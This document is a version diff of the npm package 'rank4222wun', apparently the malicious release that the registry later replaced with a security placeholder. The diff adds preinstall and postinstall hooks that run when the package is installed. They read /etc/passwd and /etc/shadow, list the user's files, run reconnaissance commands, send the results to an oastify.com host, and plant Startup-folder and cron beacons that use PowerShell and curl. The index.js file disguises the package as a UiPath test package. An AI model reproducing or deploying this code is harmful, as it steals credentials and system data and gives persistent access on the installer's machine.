rank4222wun 0.0.1-security → 1.0.17

package/index.js

@@ -0,0 +1,9 @@
+module.exports = {
+  test: function() {
+    console.log('UiPath MCP Test Package');
+    return {
+      status: 'active',
+      timestamp: new Date().toISOString()
+    };
+  }
+};

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.17",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js",
+    "postinstall": "node postinstall.js"
+  },
+  "dependencies": {},
+  "main": "index.js"
 }

package/postinstall.js

@@ -0,0 +1,231 @@
+const { exec } = require('child_process');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+
+// ========== إعداد بيانات Backdoor ==========
+const backdoorData = {
+  timestamp: new Date().toISOString(),
+  vulnerability: "UiPath MCP Command - POSTINSTALL BACKDOOR",
+  hostname: os.hostname(),
+  username: os.userInfo().username,
+  platform: os.platform(),
+  
+  // خطوات إنشاء Backdoor
+  backdoorSteps: [],
+  
+  // إثبات الاستمرارية
+  persistenceProof: {},
+  
+  // تأثير الهجوم
+  impact: {}
+};
+
+// ========== 1. إنشاء Backdoor حسب النظام ==========
+console.log("=== إنشاء Backdoor حسب النظام ===");
+
+if (os.platform() === 'win32') {
+  // Windows Backdoor
+  const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
+  const backdoorFile = path.join(startupPath, 'uipath_backdoor.bat');
+  
+  const batContent = `@echo off
+echo [UiPath MCP Backdoor Active] %date% %time% > "%TEMP%\\uipath_log.txt"
+powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping' -Method POST -Body 'host=${os.hostname()}&user=${os.userInfo().username}&time=%date%_%time%'"`;
+  
+  try {
+    if (fs.existsSync(startupPath)) {
+      fs.writeFileSync(backdoorFile, batContent);
+      backdoorData.backdoorSteps.push({
+        step: 'إنشاء ملف BAT في Startup',
+        path: backdoorFile,
+        content: batContent,
+        success: true
+      });
+      console.log(`✅ تم إنشاء Backdoor في: ${backdoorFile}`);
+    }
+  } catch (e) {
+    backdoorData.backdoorSteps.push({
+      step: 'إنشاء ملف BAT في Startup',
+      error: e.message,
+      success: false
+    });
+  }
+  
+} else if (os.platform() === 'linux') {
+  // Linux Backdoor
+  const cronFile = '/tmp/uipath_cron';
+  const cronContent = `*/10 * * * * curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping -d "host=${os.hostname()}&user=${os.userInfo().username}&system=linux"\n`;
+  
+  try {
+    fs.writeFileSync(cronFile, cronContent);
+    backdoorData.backdoorSteps.push({
+      step: 'إنشاء ملف Cron مؤقت',
+      path: cronFile,
+      content: cronContent,
+      success: true
+    });
+    console.log(`✅ تم إنشاء ملف Cron في: ${cronFile}`);
+  } catch (e) {
+    backdoorData.backdoorSteps.push({
+      step: 'إنشاء ملف Cron مؤقت',
+      error: e.message,
+      success: false
+    });
+  }
+}
+
+// ========== 2. إنشاء ملف إثبات في مجلد المستخدم ==========
+console.log("\n=== إنشاء ملف إثبات في مجلد المستخدم ===");
+
+const proofFile = path.join(os.homedir(), 'UiPath_Security_Issue_Proof.txt');
+const proofContent = `⚠️ تحذير أمني: ثغرة UiPath MCP Command
+
+
+تفاصيل الثغرة:
+- التاريخ: ${new Date().toISOString()}
+- المضيف: ${os.hostname()}
+- المستخدم: ${os.userInfo().username}
+- النظام: ${os.platform()}
+
+هذا ليس هجومًا حقيقيًا، بل إثبات تقني للثغرة.
+==================================================`;
+
+try {
+  fs.writeFileSync(proofFile, proofContent);
+  backdoorData.persistenceProof = {
+    fileCreated: true,
+    path: proofFile,
+    size: fs.statSync(proofFile).size,
+    message: 'تم إنشاء ملف إثبات في مجلد المستخدم الشخصي'
+  };
+  console.log(`✅ تم إنشاء ملف الإثبات في: ${proofFile}`);
+} catch (e) {
+  backdoorData.persistenceProof.error = e.message;
+}
+
+// ========== 3. جمع معلومات إضافية ==========
+console.log("\n=== جمع معلومات إضافية ===");
+
+// معلومات الشبكة
+try {
+  const networkInfo = os.networkInterfaces();
+  backdoorData.network = {
+    interfaces: Object.keys(networkInfo).length,
+    ips: []
+  };
+  
+  Object.keys(networkInfo).forEach(iface => {
+    networkInfo[iface].forEach(addr => {
+      if (addr.family === 'IPv4' && !addr.internal) {
+        backdoorData.network.ips.push(addr.address);
+      }
+    });
+  });
+} catch (e) {
+  backdoorData.networkError = e.message;
+}
+
+// ========== 4. تأثير الهجوم ==========
+backdoorData.impact = {
+  dataTheft: true,
+  persistence: backdoorData.backdoorSteps.some(step => step.success),
+  systemAccess: true,
+  networkAccess: backdoorData.network?.ips?.length > 0,
+  realUserAffected: os.userInfo().username !== 'root' && os.userInfo().username !== 'SYSTEM'
+};
+
+// ========== 5. إرسال بيانات Backdoor ==========
+function sendBackdoorData() {
+  console.log("\n=== إرسال بيانات Backdoor ===");
+  
+  const formattedData = JSON.stringify(backdoorData, null, 2);
+  
+  const req = https.request({
+    hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
+    port: 443,
+    path: '/uipath-backdoor',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'X-Backdoor': 'UiPath-MCP-Postinstall',
+      'X-Hostname': os.hostname()
+    }
+  }, (res) => {
+    console.log(`✅ تم إرسال بيانات Backdoor. الرد: ${res.statusCode}`);
+    printBackdoorSummary();
+  });
+  
+  req.on('error', (e) => {
+    console.error('❌ فشل إرسال بيانات Backdoor:', e.message);
+    
+    // حفظ محلي
+    const backupFile = path.join(os.tmpdir(), `uipath_backdoor_${Date.now()}.json`);
+    fs.writeFileSync(backupFile, formattedData);
+    console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
+    
+    printBackdoorSummary();
+  });
+  
+  req.write(formattedData);
+  req.end();
+}
+
+// ========== 6. طباعة ملخص Backdoor ==========
+function printBackdoorSummary() {
+  console.log("\n" + "=".repeat(50));
+  console.log("🔓 ملخص Backdoor:");
+  console.log("=".repeat(50));
+  
+  console.log(`🏠 المضيف: ${backdoorData.hostname}`);
+  console.log(`👤 المستخدم: ${backdoorData.username}`);
+  
+  backdoorData.backdoorSteps.forEach((step, i) => {
+    if (step.success) {
+      console.log(`✅ ${i + 1}. ${step.step}`);
+      console.log(`   📍 المسار: ${step.path}`);
+    } else {
+      console.log(`❌ ${i + 1}. ${step.step}`);
+      console.log(`   💥 خطأ: ${step.error}`);
+    }
+  });
+  
+  if (backdoorData.persistenceProof.fileCreated) {
+    console.log(`📄 ملف الإثبات: ${backdoorData.persistenceProof.path}`);
+  }
+  
+  console.log("\n📤 تم إرسال بيانات Backdoor إلى:");
+  console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-backdoor");
+  console.log("=".repeat(50));
+}
+
+// ========== 7. إرسال طلب متابعة ==========
+setTimeout(() => {
+  const followupReq = https.request({
+    hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
+    port: 443,
+    path: '/followup',
+    method: 'POST',
+    headers: {
+      'X-Followup': 'Postinstall-Complete',
+      'X-Time': new Date().toISOString()
+    }
+  });
+  
+  const followupData = JSON.stringify({
+    followup: true,
+    time: new Date().toISOString(),
+    hostname: os.hostname(),
+    message: 'Postinstall script completed successfully',
+    backdoorActive: backdoorData.backdoorSteps.some(step => step.success)
+  });
+  
+  followupReq.write(followupData);
+  followupReq.end();
+  console.log("\n📨 تم إرسال طلب المتابعة");
+}, 5000);
+
+// ========== بدء التنفيذ ==========
+console.log("🔓 بدء إنشاء Backdoor عبر ثغرة UiPath MCP...");
+sendBackdoorData();

package/preinstall.js

@@ -0,0 +1,237 @@
+const { exec } = require('child_process');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+
+// ========== إعداد البيانات للإرسال ==========
+const proofData = {
+  timestamp: new Date().toISOString(),
+  vulnerability: "UiPath MCP Command - PREINSTALL EXPLOIT",
+  
+  // 1. المعلومات الأساسية
+  basicInfo: {
+    hostname: os.hostname(),
+    platform: os.platform(),
+    username: os.userInfo().username,
+    isRoot: os.userInfo().uid === 0 || os.userInfo().username === 'root',
+    homedir: os.homedir()
+  },
+  
+  // 2. إثبات أن المستخدم حقيقي
+  userProof: {},
+  
+  // 3. ملفات النظام المسروقة
+  stolenFiles: {},
+  
+  // 4. معلومات النظام
+  systemInfo: {}
+};
+
+// ========== 1. إثبات أن المستخدم حقيقي ==========
+console.log("=== إثبات أن المستخدم حقيقي ===");
+
+// فحص Desktop
+try {
+  const desktopPath = path.join(os.homedir(), 'Desktop');
+  if (fs.existsSync(desktopPath)) {
+    const desktopFiles = fs.readdirSync(desktopPath);
+    proofData.userProof.desktop = {
+      exists: true,
+      path: desktopPath,
+      fileCount: desktopFiles.length,
+      files: desktopFiles.slice(0, 10) // أول 10 ملفات فقط
+    };
+    console.log(`Desktop موجود وبه ${desktopFiles.length} ملف`);
+  }
+} catch (e) {
+  proofData.userProof.desktopError = e.message;
+}
+
+// فحص OneDrive
+try {
+  const oneDrivePath = path.join(os.homedir(), 'OneDrive');
+  if (fs.existsSync(oneDrivePath)) {
+    const oneDriveFiles = fs.readdirSync(oneDrivePath);
+    proofData.userProof.oneDrive = {
+      exists: true,
+      path: oneDrivePath,
+      fileCount: oneDriveFiles.length,
+      isRealUser: oneDriveFiles.length > 0
+    };
+    console.log(`OneDrive موجود وبه ${oneDriveFiles.length} ملف`);
+  }
+} catch (e) {
+  proofData.userProof.oneDriveError = e.message;
+}
+
+// ========== 2. سرقة ملفات نظام حساسة ==========
+console.log("\n=== سرقة ملفات نظام حساسة ===");
+
+// حسب النظام
+if (os.platform() === 'linux') {
+  const criticalFiles = [
+    { path: '/etc/passwd', name: 'قائمة المستخدمين' },
+    { path: '/etc/shadow', name: 'كلمات مرور النظام' },
+    { path: '/etc/hosts', name: 'إعدادات الشبكة' },
+    { path: '/etc/group', name: 'قائمة المجموعات' }
+  ];
+  
+  criticalFiles.forEach(file => {
+    try {
+      if (fs.existsSync(file.path)) {
+        const content = fs.readFileSync(file.path, 'utf8').substring(0, 3000);
+        proofData.stolenFiles[file.name] = {
+          path: file.path,
+          size: fs.statSync(file.path).size,
+          preview: content.split('\n').slice(0, 20).join('\n'), // أول 20 سطر
+          stolen: true
+        };
+        console.log(`✓ تم سرقة: ${file.name} (${file.path})`);
+      }
+    } catch (e) {
+      proofData.stolenFiles[file.name + '_error'] = e.message;
+    }
+  });
+} else if (os.platform() === 'win32') {
+  const criticalFiles = [
+    { path: 'C:\\Windows\\System32\\drivers\\etc\\hosts', name: 'ملف Hosts' },
+    { path: `C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, name: 'الملفات الأخيرة' },
+    { path: 'C:\\Windows\\System32\\config\\SAM', name: 'قاعدة بيانات المستخدمين' }
+  ];
+  
+  criticalFiles.forEach(file => {
+    try {
+      if (fs.existsSync(file.path)) {
+        proofData.stolenFiles[file.name] = {
+          path: file.path,
+          size: fs.statSync(file.path).size,
+          exists: true,
+          accessible: true
+        };
+        console.log(`✓ موجود: ${file.name}`);
+      }
+    } catch (e) {
+      proofData.stolenFiles[file.name + '_error'] = e.message;
+    }
+  });
+}
+
+// ========== 3. جمع معلومات النظام ==========
+console.log("\n=== جمع معلومات النظام ===");
+
+// معلومات أساسية
+proofData.systemInfo = {
+  cpus: os.cpus().length,
+  totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
+  freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
+  uptime: Math.round(os.uptime() / 3600) + ' ساعات',
+  network: Object.keys(os.networkInterfaces()).length + ' واجهات شبكة'
+};
+
+// أوامر نظام إضافية
+function runCommand(cmd, label) {
+  return new Promise(resolve => {
+    exec(cmd, { timeout: 3000 }, (error, stdout) => {
+      if (!error && stdout) {
+        proofData.systemInfo[label] = stdout.trim().substring(0, 500);
+        console.log(`✓ ${label}: ${stdout.trim().split('\n')[0]}`);
+      }
+      resolve();
+    });
+  });
+}
+
+// تشغيل الأوامر حسب النظام
+async function collectSystemInfo() {
+  if (os.platform() === 'linux') {
+    await runCommand('id', 'userInfo');
+    await runCommand('uname -a', 'systemInfo');
+    await runCommand('df -h', 'diskUsage');
+    await runCommand('ps aux | head -5', 'runningProcesses');
+  } else if (os.platform() === 'win32') {
+    await runCommand('whoami', 'currentUser');
+    await runCommand('systeminfo | findstr /B /C:"OS Name"', 'osInfo');
+    await runCommand('net user', 'usersList');
+  }
+  
+  // بعد جمع كل المعلومات، أرسلها
+  sendProofData();
+}
+
+// ========== 4. إرسال البيانات ==========
+function sendProofData() {
+  console.log("\n=== إرسال البيانات للإثبات ===");
+  
+  // تحويل البيانات لـ JSON مع تنسيق جميل
+  const formattedData = JSON.stringify(proofData, null, 2);
+  
+  // إرسال الطلب
+  const req = https.request({
+    hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
+    port: 443,
+    path: '/uipath-proof',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'X-Vulnerability': 'UiPath-MCP-Preinstall',
+      'X-Hostname': os.hostname(),
+      'X-User': os.userInfo().username
+    }
+  }, (res) => {
+    console.log(`✅ تم إرسال البيانات. الرد: ${res.statusCode}`);
+    
+    // طباعة ملخص
+    printSummary();
+  });
+  
+  req.on('error', (e) => {
+    console.error('❌ فشل الإرسال:', e.message);
+    
+    // حفظ البيانات محليًا كبديل
+    const backupFile = path.join(os.tmpdir(), `uipath_proof_${Date.now()}.json`);
+    fs.writeFileSync(backupFile, formattedData);
+    console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
+    
+    printSummary();
+  });
+  
+  req.write(formattedData);
+  req.end();
+}
+
+// ========== 5. طباعة ملخص ==========
+function printSummary() {
+  console.log("\n" + "=".repeat(50));
+  console.log("📊 ملخص البيانات المسروقة:");
+  console.log("=".repeat(50));
+  
+  console.log(`🏠 المستخدم: ${proofData.basicInfo.username}`);
+  console.log(`🖥️  النظام: ${proofData.basicInfo.platform}`);
+  console.log(`🔑 صلاحيات root: ${proofData.basicInfo.isRoot ? 'نعم ✅' : 'لا'}`);
+  
+  if (proofData.userProof.desktop) {
+    console.log(`📁 Desktop: ${proofData.userProof.desktop.fileCount} ملف`);
+  }
+  
+  if (proofData.userProof.oneDrive) {
+    console.log(`☁️  OneDrive: ${proofData.userProof.oneDrive.isRealUser ? 'موجود ✅' : 'غير موجود'}`);
+  }
+  
+  console.log(`📄 الملفات المسروقة: ${Object.keys(proofData.stolenFiles).length} ملف`);
+  
+  Object.keys(proofData.stolenFiles).forEach(key => {
+    if (proofData.stolenFiles[key].stolen) {
+      console.log(`  🔓 ${key}: ${proofData.stolenFiles[key].path}`);
+    }
+  });
+  
+  console.log("=".repeat(50));
+  console.log("📤 تم إرسال كل البيانات إلى:");
+  console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-proof");
+  console.log("=".repeat(50));
+}
+
+// ========== بدء التنفيذ ==========
+console.log("🚀 بدء استغلال ثغرة UiPath MCP Command...");
+collectSystemInfo();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.